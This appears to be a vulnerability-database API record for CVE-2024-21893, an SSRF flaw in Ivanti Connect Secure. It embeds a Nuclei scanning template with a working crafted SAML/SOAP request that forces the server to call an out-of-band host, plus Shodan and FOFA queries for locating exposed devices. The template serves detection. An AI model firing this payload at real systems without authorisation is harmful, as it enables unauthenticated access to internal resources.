{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-21893/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-21893/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-21893/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-21893/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-21893/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-21893"},"sightings":{"href":"/api/v1/sightings/cve-2024-21893"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-21893.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-21893\n\ninfo:\n  name: Ivanti SAML - Server Side Request Forgery (SSRF)\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.\n  impact: |\n    Unauthenticated attackers can perform SSRF attacks to access restricted internal resources and bypass authentication mechanisms.\n  remediation: |\n    Update Ivanti Connect Secure, Policy Secure, and Neurons for ZTA to the latest patched versions.\n  reference:\n    - https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis\n    - https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two\n    - https://github.com/advisories/GHSA-5rr9-mqhj-7cr2\n    - https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887\n    - https://github.com/Ostorlab/KEV\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N\n    cvss-score: 8.2\n    cve-id: CVE-2024-21893\n    cwe-id: CWE-918\n    epss-score: 0.99999\n    epss-percentile: 0.99999\n    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: ivanti\n    product: connect_secure\n    shodan-query:\n      - \"html:\\\"welcome.cgi?p=logo\\\"\"\n      - http.title:\"ivanti connect secure\"\n      - http.html:\"welcome.cgi?p=logo\"\n    fofa-query:\n      - body=\"welcome.cgi?p=logo\"\n      - title=\"ivanti connect secure\"\n    google-query: intitle:\"ivanti connect secure\"\n  tags: cve,cve2024,kev,ssrf,ivanti,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /dana-ws/saml20.ws HTTP/1.1\n        Host: {{Hostname}}\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\t<soap:Body>\t\t<ds:Signature\t\txmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\">\t\t\t<ds:SignedInfo>\t\t\t\t<ds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/>\t\t\t\t<ds:SignatureMethod Algorithm=\"http://www.w3.org/2000/09/xmldsig#rsa-sha1\"/>\t\t\t</ds:SignedInfo>\t\t\t<ds:SignatureValue>qwerty</ds:SignatureValue>\t\t\t<ds:KeyInfo xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.w3.org/2000/09/xmldsig\" xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\">\t\t\t\t<ds:RetrievalMethod URI=\"http://{{interactsh-url}}\"/>\t\t\t\t<ds:X509Data/>\t\t\t</ds:KeyInfo>\t\t\t<ds:Object></ds:Object>\t\t</ds:Signature>\t</soap:Body></soap:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol  # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - '/dana-na/'\n          - 'WriteCSS'\n        condition: and\n# digest: 4a0a0047304502207c1465bb6148b0ccdc6d24f7eafce0a481dccefb8e60efa4a444456389622d52022100dccd2c181c0ecedbd6789612fe0fddba7eff737696f09fda5771ac904ff98b32:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-21893"}